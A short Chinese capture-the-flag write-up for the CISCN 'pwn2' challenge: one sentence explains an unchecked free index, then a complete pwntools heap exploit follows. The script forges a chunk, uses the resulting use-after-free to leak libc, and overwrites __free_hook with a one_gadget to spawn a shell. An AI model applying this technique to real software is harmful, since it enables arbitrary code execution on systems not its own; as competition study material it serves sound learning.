ciscn ctf国赛 第一天pwn2

分析程序可知free的时候下标没有检查,因此可以free任意地址,思路就是先申请块泄露堆地址,之后在heap段上伪造堆块释放,在uaf即可任意地址写,修改存指针的bss即可。

from pwn import *
p=process('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=remote("85c3e0fcae5e972af313488de60e8a5a.kr-lab.com",58512)
def add(size,content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.sendline(str(size))
    p.sendline(str(content))

def dell(index):
    p.recvuntil("Your choice:")
    p.sendline("4")
    p.sendline(str(index))

def write(index,content):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.sendline(str(index))
    p.sendline(content)
def show():
    p.recvuntil("Your choice:")
    p.sendline("1")
add(80,'')
add(80,'')
dell(0)
dell(1)
add(80,'')
show()
p.recvuntil("\n")
addr=u64(p.recvuntil("=")[:-1].ljust(8,'\x00'))*256
dell(0)
print hex(addr)
add(80,'')
add(80,'')
payload=p64(0)+p64(0x30+addr)+p64(0)+p64(81)+p64(0x602068)
x=(addr+0x10-0x602060)/16
print x
payload1=p64(0x51)*8
write(0,payload1)
write(1,payload)
dell(x)
write(1,payload)
add(70,'')
add(70,'')
write(3,p64(0x601fa8))
p.sendline('1')
p.recvuntil("1 :")
libc_base=u64(p.recvuntil("2")[1:-1].ljust(8,'\x00'))-0x844f0
one_gadget = libc_base + 0x4526a
print hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]
write(3,p64(free_hook))
write(1,p64(one_gadget))
#add(80,'')
gdb.attach(p)
p.interactive()

你可能感兴趣的:(ciscn ctf国赛 第一天pwn2)